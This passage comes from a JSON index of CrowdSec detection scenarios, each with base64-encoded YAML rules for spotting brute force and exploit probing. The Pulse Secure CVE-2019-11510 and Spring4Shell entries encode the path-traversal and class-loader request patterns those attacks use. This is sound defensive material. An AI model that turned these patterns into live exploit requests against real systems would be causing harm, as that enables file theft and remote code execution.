BlID09ICduZXh0Y2xvdWRfZmFpbGVkX2F1dGgnIgpsZWFrc3BlZWQ6ICIxbSIKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmRpc3RpbmN0OiBldnQuTWV0YS50YXJnZXRfdXNlcgpibGFja2hvbGU6IDVtCnJlcHJvY2VzczogdHJ1ZQpsYWJlbHM6CiAgc2VydmljZTogbmV4dGNsb3VkCiAgdHlwZTogYnJ1dGVmb3JjZQogIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQp0eXBlOiBsZWFreQpuYW1lOiBjcm93ZHNlY3VyaXR5L25leHRjbG91ZC1iZl9kb21haW5fZXJyb3IKZGVzY3JpcHRpb246ICJEZXRlY3QgTmV4dGNsb3VkIGRvbWFpbiBlcnJvciIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ25leHRjbG91ZF9kb21haW5fZXJyb3InIgpsZWFrc3BlZWQ6ICIxbSIKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogNW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiBuZXh0Y2xvdWQKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect Nextcloud bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "nextcloud", "type": "bruteforce" } }, "crowdsecurity/nginx-req-limit-exceeded": { "path": "scenarios/crowdsecurity/nginx-req-limit-exceeded.yaml", "version": "0.1", "versions": { "0.1": { "digest": "7e6fa2b7386d763b570025b3144c8790f68463f7c5739d8f527c9f80f15c15ce", "deprecated": false } }, "long_description": "RGV0ZWN0cyBJUHMgd2hpY2ggdmlvbGF0ZSBuZ2lueCdzIHVzZXIgc2V0IHJlcXVlc3QgbGltaXQuCgpJUCBpcyBiYW5uZWQgaWYgaXQgdmlvbGF0ZXMgbmdpbngncyB1c2VyIHNldCByZXF1ZXN0IGxpbWl0IG1vcmUgdGhhbiA1IHRpbWVzIGluIGEgbWludXRlLg==", "content": "dHlwZTogbGVha3kKI2RlYnVnOiB0cnVlCm5hbWU6IGNyb3dkc2VjdXJpdHkvbmdpbngtcmVxLWxpbWl0LWV4Y2VlZGVkCmRlc2NyaXB0aW9uOiAiRGV0ZWN0cyBJUHMgd2hpY2ggdmlvbGF0ZSBuZ2lueCdzIHVzZXIgc2V0IHJlcXVlc3QgbGltaXQuIgpmaWx0ZXI6IGV2dC5NZXRhLnN1Yl90eXBlID09ICdyZXFfbGltaXRfZXhjZWVkZWQnCmxlYWtzcGVlZDogIjYwcyIKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogNW0KbGFiZWxzOgogc2VydmljZTogbmdpbngKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detects IPs which violate nginx's user set request limit.", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "nginx", "type": "bruteforce" } }, "crowdsecurity/odoo-bf_user-enum": { "path": "scenarios/crowdsecurity/odoo-bf_user-enum.yaml", "version": "0.1", "versions": { "0.1": { "digest": "ece8333dbfb283c4b696c2963ede3636175306d65151a26bbb2ecdcd19455e53", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBvZG9vIGF1dGhlbnRpY2F0aW9ucyBhbmQgdXNlciBlbnVtOgoKIC0gbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgNSBmcm9tIHNhbWUgSVAKIC0gbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgNSBvbiBzYW1lIHRhcmdldCB1c2Vy", "content": "IyBPZG9vIHdlYiBhdXRoIGJydXRlZm9yY2UKdHlwZTogbGVha3kKI2RlYnVnOiB0cnVlCm5hbWU6IGNyb3dkc2VjdXJpdHkvb2Rvby1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBicnV0ZWZvcmNlIG9uIG9kb28gd2ViIGludGVyZmFjZSIKZmlsdGVyOiBldnQuTWV0YS5sb2dfdHlwZSA9PSAnb2Rvb19mYWlsZWRfYXV0aCcKbGVha3NwZWVkOiAiMTBzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiBzZXJ2aWNlOiBvZG9vCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQotLS0KIyBPZG9vIHdlYiBhdXRoIHVzZXJfZW51bQp0eXBlOiBsZWFreQpuYW1lOiBjcm93ZHNlY3VyaXR5L29kb29fdXNlci1lbnVtCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IG9kb28gdXNlciBlbnVtIgpmaWx0ZXI6IGV2dC5NZXRhLmxvZ190eXBlID09ICdvZG9vX2ZhaWxlZF9hdXRoJwpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnVzZXIKbGVha3NwZWVkOiAxMHMKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiBzZXJ2aWNlOiBvZG9vCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect bruteforce on odoo web interface", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "odoo", "type": "bruteforce" } }, "crowdsecurity/opnsense-gui-bf": { "path": "scenarios/crowdsecurity/opnsense-gui-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "15f0d4f03f1e18a8cd5d95467a13e86ebfd717354f53ba02b4d165e6537965bf", "deprecated": false } }, "long_description": "IyMgT1BOU2Vuc2Ugd2ViIHBvcnRhbCBicnV0ZWZvcmNlIGRldGVjdGlvbgoKRGV0ZWN0cyBicnV0ZWZvcmNlIGF0dGVtcHRzIG9uIHRoZSBPUE5TZW5zZSB3ZWIgcG9ydGFsIDoKIC0gbW9yZSB0aGFuIDUgYXR0ZW1wdHMKIC0gMTAgc2Vjb25kcyBiZXR3ZWVuIGVhY2gKCgo=", "content": "IyBvcG5zZW5zZSB3ZWIgYXV0aCBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5CiNkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L29wbnNlbnNlLXdlYi1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBicnV0ZWZvcmNlIG9uIG9wbnNlbnNlIHdlYiBpbnRlcmZhY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ29wbnNlbnNlLWd1aS1mYWlsZWQtYXV0aCcKbGVha3NwZWVkOiAiMTBzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiBzZXJ2aWNlOiBvcG5zZW5zZS1ndWktYXV0aAogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUK", "description": "Detect bruteforce on opnsense web interface", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "opnsense-gui-auth", "type": "bruteforce" } }, "crowdsecurity/pgsql-bf": { "path": "scenarios/crowdsecurity/pgsql-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "d2b7d3aa914ba9204f320e15301207c0fb5ea54aae57481bcbcd410cd81629bd", "deprecated": false } }, "long_description": "RGV0ZWN0IHNldmVyYWwgZmFpbGVkIHBvc3RncmVzcWwgYXV0aGVudGljYXRpb25zLgoKbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgNQo=", "content": "IyBwZ3NxbCBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5CiNkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L3Bnc3FsLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IFBnU1FMIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3Bnc3FsX2ZhaWxlZF9hdXRoJwpsZWFrc3BlZWQ6ICIxMHMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDVtCmxhYmVsczoKIHNlcnZpY2U6IHBnc3FsCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect PgSQL bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "pgsql", "type": "bruteforce" } }, "crowdsecurity/postfix-spam": { "path": "scenarios/crowdsecurity/postfix-spam.yaml", "version": "0.2", "versions": { "0.1": { "digest": "03876677d3fe37bdc9ad584cb015e3f0b648266450b2b494a40e1863d5a64d8a", "deprecated": false }, "0.2": { "digest": "b36d95dc5ba9cb45c8cbb1a3d37bd19d929ed387f3d7ec386b4e9e041d0bbd8e", "deprecated": false } }, "long_description": "Q29udGFpbnMgbXVsdGlwbGUgc2NlbmFyaW9zOgoKLSBjcm93ZHNlY3VyaXR5L3Bvc3RmaXgtc3BhbTogcG9zdGZpeCBzY2VuYXJpbyBicnV0ZWZvcmNlIHNwYW0gYXR0ZW1wdCAobGVha3NwZWVkIG9mIDEwcyB3aXRoIGEgY2FwYWNpdHkgb2YgNSkKLSBjcm93ZHNlY3VyaXR5L3Bvc3RzY3JlZW4tcmJsOiBwb3N0c2NyZWVuIHJiIGF0dGVtcHQgYmxhY2tsaXN0IChjYXBhY2l0eSBvZiAwKQoK", "content": "IyBwb3N0Zml4IHNwYW0KdHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9wb3N0Zml4LXNwYW0KZGVzY3JpcHRpb246ICJEZXRlY3Qgc3BhbW1lcnMiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlX2VuaCA9PSAnc3BhbS1hdHRlbXB0JyB8fCBldnQuTWV0YS5sb2dfdHlwZSA9PSAncG9zdGZpeCcgJiYgZXZ0Lk1ldGEuYWN0aW9uID09ICdyZWplY3QnIgpsZWFrc3BlZWQ6ICIxMHMiCnJlZmVyZW5jZXM6CiAgLSBodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9TcGFtbWluZwpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiAxbQpyZXByb2Nlc3M6IGZhbHNlCmxhYmVsczoKIHNlcnZpY2U6IHBvc3RmaXgKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIHBvc3RmaXggc3BhbQp0eXBlOiB0cmlnZ2VyCm5hbWU6IGNyb3dkc2VjdXJpdHkvcG9zdHNjcmVlbi1yYmwKZGVzY3JpcHRpb246ICJEZXRlY3Qgc3BhbW1lcnMiCmZpbHRlcjogImV2dC5NZXRhLnNlcnZpY2UgPT0gJ3Bvc3RzY3JlZW4nICYmIGV2dC5NZXRhLnByZWdyZWV0ID09ICdQUkVHUkVFVCciCmxlYWtzcGVlZDogIjEwcyIKcmVmZXJlbmNlczoKICAtIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1NwYW1taW5nCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDFtCnJlcHJvY2VzczogZmFsc2UKbGFiZWxzOgogc2VydmljZTogcG9zdHNjcmVlbgogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUKCg==", "description": "Detect spammers", "author": "crowdsecurity", "references": [ "https://en.wikipedia.org/wiki/Spamming" ], "labels": { "remediation": "true", "service": "postfix", "type": "bruteforce" } }, "crowdsecurity/proftpd-bf": { "path": "scenarios/crowdsecurity/proftpd-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "f241fba9f1ffeb3cdf376bb7cfee0ecf804ba5d8709cfb5defbc973a11c751a5", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBwcm9mdHBkIGF1dGhlbnRpY2F0aW9ucyA6CgogLSBsZWFrc3BlZWQgb2YgMTBzLCBjYXBhY2l0eSBvZiA1IG9uIHNhbWUgdGFyZ2V0IHVzZXI=", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9wcm9mdHBkLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IHByb2Z0cGQgYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2Z0cF9mYWlsZWRfYXV0aCciCmxlYWtzcGVlZDogIjEwcyIKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKIHNlcnZpY2U6IGZ0cAogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUKCg==", "description": "Detect proftpd bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "ftp", "type": "bruteforce" } }, "crowdsecurity/proftpd-bf_user-enum": { "path": "scenarios/crowdsecurity/proftpd-bf_user-enum.yaml", "version": "0.1", "versions": { "0.1": { "digest": "7e3b3f8d050805afce54785fe1e9eba40a6a040faf9e19e8ba40d466c3b14814", "deprecated": false } }, "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9wcm9mdHBkLWJmX3VzZXItZW51bQpkZXNjcmlwdGlvbjogIkRldGVjdCBwcm9mdHBkIHVzZXIgZW51bSBicnV0ZWZvcmNlIgpmaWx0ZXI6IGV2dC5NZXRhLmxvZ190eXBlID09ICdmdHBfZmFpbGVkX2F1dGgnCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0Lk1ldGEudGFyZ2V0X3VzZXIKbGVha3NwZWVkOiAxMHMKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiBzZXJ2aWNlOiBmdHAKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVl", "description": "Detect proftpd user enum bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "ftp", "type": "bruteforce" } }, "crowdsecurity/pulse-secure-sslvpn-cve-2019-11510": { "path": "scenarios/crowdsecurity/pulse-secure-sslvpn-cve-2019-11510.yaml", "version": "0.2", "versions": { "0.1": { "digest": "bab1d5aa6ee0f6677d73c70438324006f4ed0780de90891a8586030319dc1d08", "deprecated": false }, "0.2": { "digest": "9226dd76fd3e818b3a6d4a1770437e1a41a2014e082cde2a788244b50fb83889", "deprecated": false } }, "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMApuYW1lOiBjcm93ZHNlY3VyaXR5L3B1bHNlLXNlY3VyZS1zc2x2cG4tY3ZlLTIwMTktMTE1MTAKZGVzY3JpcHRpb246ICJEZXRlY3QgY3ZlLTIwMTktMTE1MTAgZXhwbG9pdGF0aW9uIGF0dGVtcHMiCmZpbHRlcjogfAogIGV2dC5NZXRhLmxvZ190eXBlIGluIFsiaHR0cF9hY2Nlc3MtbG9nIiwgImh0dHBfZXJyb3ItbG9nIl0gYW5kIAogICAgKFVwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgbWF0Y2hlcyBVcHBlcignL2RhbmEtbmEvLi4vZGFuYS9odG1sNWFjYy9ndWFjYW1vbGUvLi4vLi4vLi4vLi4vLi4vLi4vLi4vW14/XStcXD8vZGFuYS9odG1sNWFjYy9ndWFjYW1vbGUvJykKICAgIG9yCiAgICBVcHBlcihldnQuTWV0YS5odHRwX3BhdGgpIG1hdGNoZXMgVXBwZXIoJy9kYW5hLW5hLyUyRSUyRS9kYW5hL2h0bWw1YWNjL2d1YWNhbW9sZS8lMkUlMkUvJTJFJTJFLyUyRSUyRS8lMkUlMkUvJTJFJTJFLyUyRSUyRS8lMkUlMkUvW14/XStcXD8vZGFuYS9odG1sNWFjYy9ndWFjYW1vbGUvJykpCmdyb3VwYnk6ICJldnQuTWV0YS5zb3VyY2VfaXAiCmJsYWNraG9sZTogMm0KbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect cve-2019-11510 exploitation attemps", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/smb-bf": { "path": "scenarios/crowdsecurity/smb-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "ee7fea38f0a67bde1aae3979cf0579da03da5adf4e69826f12a82c74b812e9d6", "deprecated": false } }, "long_description": "dHJhY2tzIGZhaWxlZCBzYW1iYSBhdXRoZW50aWNhdGlvbnMuCg==", "content": "IyBzbWIgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBjcm93ZHNlY3VyaXR5L3NtYi1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBzbWIgYnJ1dGVmb3JjZSIKZmlsdGVyOiBldnQuTWV0YS5sb2dfdHlwZSA9PSAnc21iX2ZhaWxlZF9hdXRoJwpsZWFrc3BlZWQ6ICIxMHMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDVtCmxhYmVsczoKIHNlcnZpY2U6IHNtYgogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWU=", "description": "Detect smb bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "smb", "type": "bruteforce" } }, "crowdsecurity/spring4shell_cve-2022-22965": { "path": "scenarios/crowdsecurity/spring4shell_cve-2022-22965.yaml", "version": "0.2", "versions": { "0.1": { "digest": "b16993a7d1fe816230f0fef23e11736019a67a7fa64c5a5cc25e15589764cdcf", "deprecated": false }, "0.2": { "digest": "4e03166936f61abd0711167960b06bff7dbffb37b0642ab2a6cba6eb9da9ee98", "deprecated": false } }, "long_description": "RGV0ZWN0IHByb2JpbmcgZm9yIGN2ZS0yMDIyLTIyOTY1IGFrYSAnc3ByaW5nNHNoZWxsJy4KCkFzIHVzdWFsLCBzbWFydCBhdHRhY2tlcnMgbWlnaHQgYnlwYXNzIHRoZSBzaWduYXR1cmUuIFRoZSBwYXR0ZXJuIGl0c2VsZiBpcyBpbnNwaXJlZCBieSA6CiAtIFtTcHJpbmcgRnJhbWV3b3JrIFJDRSAoQ1ZFLTIwMjItMjI5NjUpIE5tYXAgKE5TRSkgQ2hlY2tlcl0oaHR0cHM6Ly9naXRodWIuY29tL2FsdDNreC9DVkUtMjAyMi0yMjk2NSkKIC0gW1JhbmRvcmldKGh0dHBzOi8vdHdpdHRlci5jb20vUmFuZG9yaUF0dGFjay9zdGF0dXMvMTUwOTI5ODQ5MDEwNjU5MzI4MykKIC0gW1phcCBEZXRlY3Rpb25dKGh0dHBzOi8vd3d3LnphcHJveHkub3JnL2Jsb2cvMjAyMi0wNC0wNC1zcHJpbmc0c2hlbGwtZGV0ZWN0aW9uLXdpdGgtemFwLykKCg==", "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMApuYW1lOiBjcm93ZHNlY3VyaXR5L3NwcmluZzRzaGVsbF9jdmUtMjAyMi0yMjk2NQpkZXNjcmlwdGlvbjogIkRldGVjdCBjdmUtMjAyMi0yMjk2NSBwcm9iaW5nIgpmaWx0ZXI6IHwKICBldnQuTWV0YS5sb2dfdHlwZSBpbiBbImh0dHBfYWNjZXNzLWxvZyIsICJodHRwX2Vycm9yLWxvZyJdIGFuZAogICAgKFVwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgY29udGFpbnMgJ0NMQVNTLk1PRFVMRS5DTEFTU0xPQURFUi4nKQpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpibGFja2hvbGU6IDJtCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect cve-2022-22965 probing", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/ssh-bf": { "path": "scenarios/crowdsecurity/ssh-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "4441dcff07020f6690d998b7101e642359ba405c2abb83565bbbdcee36de280f", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBzc2ggYXV0aGVudGljYXRpb25zIDoKCiAtIGxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDUgb24gc2FtZSB0YXJnZXQgdXNlcgogLSBsZWFrc3BlZWQgb2YgMTBzLCBjYXBhY2l0eSBvZiA1IHVuaXF1ZSBkaXN0aW5jdCB1c2VycwogCg==", "content": "IyBzc2ggYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBjcm93ZHNlY3VyaXR5L3NzaC1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBzc2ggYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3NzaF9mYWlsZWQtYXV0aCciCmxlYWtzcGVlZDogIjEwcyIKcmVmZXJlbmNlczoKICAtIGh0dHA6Ly93aWtpcGVkaWEuY29tL3NzaC1iZi1pcy1iYWQKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKIHNlcnZpY2U6IHNzaAogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUKLS0tCiMgc3NoIHVzZXItZW51bQp0eXBlOiBsZWFreQpuYW1lOiBjcm93ZHNlY3VyaXR5L3NzaC1iZl91c2VyLWVudW0KZGVzY3JpcHRpb246ICJEZXRlY3Qgc3NoIHVzZXIgZW51bSBicnV0ZWZvcmNlIgpmaWx0ZXI6IGV2dC5NZXRhLmxvZ190eXBlID09ICdzc2hfZmFpbGVkLWF1dGgnCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0Lk1ldGEudGFyZ2V0X3VzZXIKbGVha3NwZWVkOiAxMHMKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiBzZXJ2aWNlOiBzc2gKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCgo=", "description": "Detect ssh bruteforce", "author": "crowdsecurity", "references": [ "http://wikipedia.com/ssh-bf-is-bad" ], "labels": { "remediation": "true", "service": "ssh", "type": "bruteforce" } }, "crowdsecurity/ssh-slow-bf": { "path": "scenarios/crowdsecurity/ssh-slow-bf.yaml", "version": "0.2", "versions": { "0.1": { "digest": "1b910bf7af59dab8dfbba8a735aafb3e4871d1237b29d56f53d7c0eece0381cf", "deprecated": false }, "0.2": { "digest": "48665e6f7f4f0af7a47c7e81b0550c86f111e79c0a80d90290e560846beb4008", "deprecated": false } }, "long_description": "RGV0ZWN0IHNsb3cgc3NoIGJydXRlZm9yY2UgYXV0aGVudGljYXRpb25zIDoKCiAtIGxlYWtzcGVlZCBvZiA2MHMsIGNhcGFjaXR5IG9mIDEwIG9uIHNhbWUgdGFyZ2V0IHVzZXIKIC0gbGVha3NwZWVkIG9mIDYwcywgY2FwYWNpdHkgb2YgMTAgdW5pcXVlIGRpc3RpbmN0IHVzZXJzCiAK", "content": "IyBzc2ggYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBjcm93ZHNlY3VyaXR5L3NzaC1zbG93LWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IHNsb3cgc3NoIGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdzc2hfZmFpbGVkLWF1dGgnIgpsZWFrc3BlZWQ6ICI2MHMiCnJlZmVyZW5jZXM6CiAgLSBodHRwOi8vd2lraXBlZGlhLmNvbS9zc2gtYmYtaXMtYmFkCmNhcGFjaXR5OiAxMApncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiAxbQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogc2VydmljZTogc3NoCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQotLS0KIyBzc2ggdXNlci1lbnVtCnR5cGU6IGxlYWt5Cm5hbWU6IGNyb3dkc2VjdXJpdHkvc3NoLXNsb3ctYmZfdXNlci1lbnVtCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IHNsb3cgc3NoIHVzZXIgZW51bSBicnV0ZWZvcmNlIgpmaWx0ZXI6IGV2dC5NZXRhLmxvZ190eXBlID09ICdzc2hfZmFpbGVkLWF1dGgnCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0Lk1ldGEudGFyZ2V0X3VzZXIKbGVha3NwZWVkOiA2MHMKY2FwYWNpdHk6IDEwCmJsYWNraG9sZTogMW0KbGFiZWxzOgogc2VydmljZTogc3NoCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQoK", "description": "Detect slow ssh bruteforce", "author": "crowdsecurity", "references": [ "http://wikipedia.com/ssh-bf-is-bad" ], "labels": { "remediation": "true", "service": "ssh", "type": "bruteforce" } }, "crowdsecurity/suricata-alerts": { "path": "scenarios/crowdsecurity/suricata-alerts.yaml", "version": "0.3", "versions": { "0.1": { "digest": "dca94f89e6df928e3d8924f9e1a012bf9c20bb9f8370c6e2c588d93da4e02e27", "deprecated": false }, "0.2": { "digest": "5ac0f4c98c5b01ac2114ecc41a27be942201f687ad242b00e73c571ef6ac98d3", "deprecated": false }, "0.3": { "digest": "ccef8952af2cb7931773dfee72eb8f7f65c476b7c5d4c8b5bfd3553b301992ac", "deprecated": false } }, "long_description": "IyMgU3VyaWNhdGEgc2NlbmFyaW9zCgpBdXRvbWF0aWNhbGx5IHJlYWN0IHRvIGhpZ2ggc2V2ZXJpdHkgYWxlcnRzIGdlbmVyYXRlZCBieSB5b3VyIFN1cmljYXRhIDoKIC0gdHJpZ2dlciBiYW4gb24gKk1ham9yKiAoc2V2ZXJpdHk6MSkgcnVsZXMKIC0gdHJpZ2dlciBiYW4gb24gPjIgKipkaXN0aW5jdCoqIHJ1bGVzIG9mIHNldmVyaXR5IDIKCgo=", "content": "IyBmb3IgbWF4ICgxKSBwcmlvcml0eSA6IGtpbGwgb24gc2lnaHQKdHlwZTogdHJpZ2dlcgpuYW1lOiBjcm93ZHNlY3VyaXR5L3N1cmljYXRhLW1ham9yLXNldmVyaXR5CmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGV4cGxvaXQgYXR0ZW1wdHMgdmlhIGVtZXJnaW5nIHRocmVhdCBydWxlcyIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3N1cmljYXRhX2FsZXJ0JyAmJiBldnQuUGFyc2VkLnByb3RvID09ICdUQ1AnICYmIGV2dC5NZXRhLnN1cmljYXRhX3J1bGVfc2V2ZXJpdHkgPT0gJzEnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiAxbQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogc2VydmljZTogc3VyaWNhdGEKIHR5cGU6IGV4cGxvaXQKIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIGZvciBsb3dlciAoMikgcHJpb3JpdHkgOiB3YWl0IGZvciA+PTMgZGlmZmVyZW50IHNpZ25hdHVyZXMgYmVpbmcgdHJpZ2dlcmVkCiMgd2UgaW50ZW50aW9uYWxseSBhdm9pZCBzY2VuYXJpb3Mgb24gcHJpb3JpdHkgMyBhbmQgc3VjaCB0aGF0IGFyZSB0b28gc2Vuc2l0aXZlIHRvIGZhbHNlIHBvc2l0aXZlcwp0eXBlOiBsZWFreQpjYXBhY2l0eTogMgpsZWFrc3BlZWQ6IDIwcwpkaXN0aW5jdDogZXZ0Lk1ldGEuc3VyaWNhdGFfYWxlcnRfc2lnbmF0dXJlX2lkCm5hbWU6IGNyb3dkc2VjdXJpdHkvc3VyaWNhdGEtaGlnaC1tZWRpdW0tc2V2ZXJpdHkKZGVzY3JpcHRpb246ICJEZXRlY3QgZXhwbG9pdCBhdHRlbXB0cyB2aWEgZW1lcmdpbmcgdGhyZWF0IHJ1bGVzIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnc3VyaWNhdGFfYWxlcnQnICYmIGV2dC5QYXJzZWQucHJvdG8gPT0gJ1RDUCcgJiYgZXZ0Lk1ldGEuc3VyaWNhdGFfcnVsZV9zZXZlcml0eSA9PSAnMiciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDFtCnJlcHJvY2VzczogdHJ1ZQpsYWJlbHM6CiBzZXJ2aWNlOiBzdXJpY2F0YQogdHlwZTogZXhwbG9pdAo=", "description": "Detect exploit attempts via emerging threat rules", "author": "crowdsecurity", "references": [ "http://rules.emergingthreats.net/" ], "labels": { "remediation": "true", "service": "suricata", "type": "exploit" } }, "crowdsecurity/synology-dsm-bf": { "path": "scenarios/crowdsecurity/synology-dsm-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "8d70f3ab754d69ce9c10fb668bf3fb6bf9f02dca26e577c6c8b0c10731b0c442", "deprecated": false } }, "long_description": 